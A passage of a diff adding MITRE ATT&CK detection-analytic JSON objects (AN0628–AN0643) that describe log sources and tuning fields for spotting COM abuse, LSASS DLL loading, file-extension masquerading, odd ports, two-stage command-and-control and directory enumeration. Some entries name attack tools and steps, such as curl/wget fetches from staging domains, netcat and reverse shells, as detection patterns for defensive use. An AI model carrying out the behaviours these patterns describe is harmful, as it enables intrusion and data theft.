management tools (e.g., FortiManager, Cisco Prime) triggering device reboots or config pushes using abnormal accounts or IPs.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "networkdevice:syslog", + "channel": "config push events" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "NSM:Flow", + "channel": "Device-to-Device Deployment Flows" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "PushSourceAllowList", + "description": "Devices or IPs allowed to push firmware or scripts" + }, + { + "field": "AuthUserPattern", + "description": "Expected CLI or API user performing configuration" + } + ], + "x_mitre_platforms": [ + "Network Devices" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--8a7a7e80-c28e-42b2-a222-c1d75932c986", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0224#AN0628", + "external_id": "AN0628" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0628", + "description": "Detects anomalous use of COM objects for execution, such as Office applications spawning scripting engines, enumeration of COM interfaces via registry queries, or processes loading atypical DLLs through COM activation. Correlates process creation, module loads, and registry queries to flag suspicious COM-based code execution or persistence.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=7" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--ed0dd8aa-1677-4551-bb7d-8da767617e1b", + "name": "WinEventLog:Security", + "channel": "EventCode=4656" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "COMObjectAllowList", + "description": "Legitimate COM CLSIDs and ProgIDs used by enterprise applications, to reduce false positives." + }, + { + "field": "ParentProcessExclusions", + "description": "Expected parent-child process relationships (e.g., explorer.exe spawning dllhost.exe)." + }, + { + "field": "TimeWindow", + "description": "Threshold for correlating COM object execution with subsequent process creation or DLL load." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--5028303d-22d6-490c-b053-015e877d5829", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0225#AN0629", + "external_id": "AN0629" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0629", + "description": "Unauthorized creation or modification of DLLs loaded by LSASS, abnormal registry values under LSA extensions, and anomalous DLL load activity into the lsass.exe process context\u2014correlated during boot or logon events.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "WinEventLog:Security", + "channel": "EventCode=3033" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3551476e-14f5-4e48-a518-e82135329e03", + "name": "WinEventLog:System", + "channel": "EventCode=6" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=2" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--7f70fae7-a68d-4730-a83a-f260b9606129", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=12" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=13" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Correlate DLL file creation/modification with LSASS execution within a configurable timeframe (e.g., 5 min)" + }, + { + "field": "ImagePathPattern", + "description": "Tune based on known legitimate LSASS plugin DLL paths" + }, + { + "field": "SignatureValidation", + "description": "Flag unsigned DLLs loaded into lsass.exe or those signed by unexpected publishers" + }, + { + "field": "RegistryKeyScope", + "description": "Scope to specific registry keys: HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Authentication Packages" + }, + { + "field": "FileHashAllowList", + "description": "Exclude known-good LSASS plugin DLLs based on cryptographic hash" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--557e1f6e-5eeb-46ea-bcd2-5d858eea314c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0226#AN0630", + "external_id": "AN0630" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0630", + "description": "Detects behavior where files with non-executable or misleading extensions (e.g., .jpg, .txt) are created or modified but subsequently executed as binaries based on internal file headers or abnormal parent process lineage. This includes identifying polyglot files or malformed magic bytes indicative of masquerading attempts.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "benign_extensions", + "description": "List of non-executable file types commonly used to mask payloads (.jpg, .txt, .gif)" + }, + { + "field": "monitored_directories", + "description": "Targeted directories for initial access and downloads (e.g., %TEMP%, Downloads, AppData)" + }, + { + "field": "MagicByteMismatchThreshold", + "description": "Detection tolerance for mismatches between extension and file signature (magic bytes)" + }, + { + "field": "TimeWindow", + "description": "Time range between file creation and first execution" + }, + { + "field": "ParentProcessAnomalyScore", + "description": "Anomaly score threshold for suspicious parent-child process combinations" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--e9ba7101-369f-48c6-8e6d-075ddd5744ba", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0226#AN0631", + "external_id": "AN0631" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0631", + "description": "Detects when a script or binary is named with misleading or benign-looking extensions (.jpg, .doc) and is then executed via command line or a scheduled task. Includes ELF header mismatches and content-type inconsistencies on disk.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", + "name": "linux:osquery", + "channel": "Read headers and detect MIME type mismatch" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "benign_extensions", + "description": "Linux-targeted masquerade extensions (.jpg, .pdf, .png)" + }, + { + "field": "HeaderInspectionEnabled", + "description": "Whether to parse file signatures or MIME types from file headers" + }, + { + "field": "ExecPathScope", + "description": "Monitored directory scope for adversarial execution (e.g., /tmp/, /home/username/Downloads)" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--2bce7f8d-90c1-4835-9ce9-832e5e3a37d6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0226#AN0632", + "external_id": "AN0632" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0632", + "description": "Detects binaries disguised as media or document types through extension-only masquerading or by modifying the file signature. Observes execution of files whose extension is not typically executable (.jpg, .txt), yet have valid Mach-O headers or execute via Terminal or launch services.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "launchservices events for misleading extensions" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "LaunchAgentScope", + "description": "Scope of services monitored for unusual launches (e.g., Finder, Terminal, Preview)" + }, + { + "field": "SignatureEnforcementLevel", + "description": "How strictly the detection checks header validity vs. file extension" + }, + { + "field": "TimeWindow", + "description": "Time range for linking file modification and execution events" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--9ea7f21e-700f-4900-a1d4-dfc171d399fe", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0227#AN0633", + "external_id": "AN0633" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0633", + "description": "Processes initiating outbound connections on uncommon ports or using protocols inconsistent with the assigned port. Correlating process creation with subsequent network connections reveals anomalies such as svchost.exe or Office applications using high, atypical ports.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Security", + "channel": "EventCode=5156" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "PortThresholds", + "description": "Define what constitutes a 'non-standard port' based on organizational baselines (e.g., allow 443/80/22 but flag 8088/587/3389 changes)." + }, + { + "field": "ProcessAllowList", + "description": "Processes normally allowed to use non-standard ports (e.g., custom apps)." + }, + { + "field": "TimeWindow", + "description": "Correlate process creation and network activity within N seconds." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--dba32c3a-1ae7-46a4-9b04-d011f37aa801", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0227#AN0634", + "external_id": "AN0634" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0634", + "description": "Unusual daemons or user processes binding/listening on ports outside of standard ranges, or initiating client connections using mismatched protocol/port pairings.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "auditd:SYSCALL", + "channel": "socket/connect syscalls" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "linux:syslog", + "channel": "processes binding to non-standard ports or sshd configured on unexpected port" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "linux:osquery", + "channel": "process listening or connecting on non-standard ports" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AllowedServices", + "description": "Exclude ports intentionally configured for enterprise apps." + }, + { + "field": "PayloadEntropyThreshold", + "description": "Define thresholds for anomalous payload entropy to catch tunneled traffic." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--785c44d0-7e5b-4d3e-a3cd-0c5e96b8891b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0227#AN0635", + "external_id": "AN0635" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0635", + "description": "Applications making outbound connections on non-standard ports or launchd services bound to ports inconsistent with system baselines.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "macos:unifiedlog", + "channel": "outbound TCP/UDP traffic over unexpected port" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "launchd services binding to non-standard ports" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "BaselinePortProfiles", + "description": "Define expected macOS service port usage (e.g., AirDrop, Bonjour)." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--4e3afe58-e384-4b9e-9137-adaa0bac72af", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0227#AN0636", + "external_id": "AN0636" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0636", + "description": "VM services or management daemons communicating on ports not defined by VMware defaults, such as vpxa or hostd processes initiating traffic over high-numbered or unexpected ports.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "esxi:vpxd", + "channel": "ESXi service connections on unexpected ports" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "esxcli:network", + "channel": "listening sockets bound to non-standard ports" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ESXiAllowedPorts", + "description": "Default VMware service ports that should not be flagged." + } + ], + "x_mitre_platforms": [ + "ESXi" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--f13ff1ad-5c7b-4136-b5cb-7a5663c3c54f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0228#AN0637", + "external_id": "AN0637" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0637", + "description": "Initial process initiates outbound connection to first-stage C2, receives payloads or commands, then spawns or injects into a second process that establishes a new outbound connection to an unrelated destination (second-stage C2).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Correlate two-stage behavior occurring within a short window (e.g., 1-5 minutes)" + }, + { + "field": "ParentProcess", + "description": "Tune to exclude known legitimate updaters and management agents" + }, + { + "field": "DestinationHostname", + "description": "May be customized to exclude known corporate domains and CDNs" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--e5fcc815-0ab4-4da9-aade-659b87d079da", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0228#AN0638", + "external_id": "AN0638" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0638", + "description": "Shell script or binary initiates curl/wget request to staging domain, writes output to disk or memory, and shortly afterward launches another process that establishes new outbound connection to a different IP or hostname.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve, connect" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "iptables:LOG", + "channel": "OUTBOUND" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "BinaryPath", + "description": "Tune for suspicious binaries like curl, wget, python, netcat" + }, + { + "field": "IPDistance", + "description": "Detect multiple different external IPs contacted within short timeframe" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--53ba6028-13cd-449e-aab4-d2f9fea458a4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0228#AN0639", + "external_id": "AN0639" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0639", + "description": "Initial process using NSURLSession or similar APIs reaches out to known staging domains, followed by creation of a reverse shell or RAT connecting to a second unrelated server.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:endpointsecurity", + "channel": "ES_EVENT_TYPE_NOTIFY_EXEC" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "macos:unifiedlog", + "channel": "tcp/udp" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "UserContext", + "description": "Detect activity outside normal user behavior (e.g., automation or daemon context)" + }, + { + "field": "EntropyScore", + "description": "Optional for detecting encoded payloads delivered via stage 1" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--e8c91885-736e-4348-ba09-2acfbdd8b176", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0228#AN0640", + "external_id": "AN0640" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0640", + "description": "CLI-based or API-based network call from the hypervisor to external staging host, shortly followed by a connection to a second external IP by a spawned process or scheduled task.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "esxi:hostd", + "channel": "CLI network calls" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "esxi:cron", + "channel": "process or cron activity" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ScheduledTaskName", + "description": "Detect unknown or obfuscated task names launching follow-up stages" + }, + { + "field": "DestinationIP", + "description": "Scope multiple IP destinations outside corporate ranges in short sequence" + } + ], + "x_mitre_platforms": [ + "ESXi" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--cd91348f-296f-4007-a853-6d06d8175210", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0229#AN0641", + "external_id": "AN0641" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0641", + "description": "Enumeration of global address lists or email account metadata via PowerShell cmdlets (e.g., Get-GlobalAddressList) or MAPI/RPC from non-admin, non-mailserver systems.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "WinEventLog:PowerShell", + "channel": "EventCode=4104" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "CommandLinePattern", + "description": "Match variations of Get-GlobalAddressList, Get-Recipient, and related cmdlets." + }, + { + "field": "HostRole", + "description": "Suppress expected usage on Exchange servers or known IT admin consoles." + }, + { + "field": "TimeWindow", + "description": "Detect bulk execution patterns in short intervals, often used during recon." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--e0ad2e3d-c109-4af0-ac44-0d4cd45407c2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0229#AN0642", + "external_id": "AN0642" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0642", + "description": "Suspicious querying of organization-wide directory data via Google Workspace Directory API or Outlook GAL sync in high volume from abnormal users, service accounts, or unknown device contexts.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--b5d0492b-cda4-421c-8e51-ed2b8d85c5d0", + "name": "gcp:audit", + "channel": "Directory API Access: users.list or groups.list" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "m365:unified", + "channel": "GAL Lookup or Address Book download" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "name": "azure:signinlogs", + "channel": "Unusual Token Usage or Application Consent" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "APIQueryVolume", + "description": "Set thresholds for excessive use of 'users.list' or recursive group enumerations." + }, + { + "field": "UserContext", + "description": "Flag non-admin or previously unseen user agents requesting directory information." + }, + { + "field": "AppSource", + "description": "Distinguish between sanctioned sync tools and unauthorized scripts or OAuth tokens." + } + ], + "x_mitre_platforms": [ + "Office Suite" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--b5d77678-fff4-41cd-9e77-d3f82243240a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0230#AN0643", + "external_id": "AN0643" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0643", + "description": "Detects execution of binaries signed with unusual or recently issued certificates, correlation of process execution with abnormal publisher metadata, and mismatched certificate chains. Monitors for revoked or unknown code signing certificates used in high-privilege contexts.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": 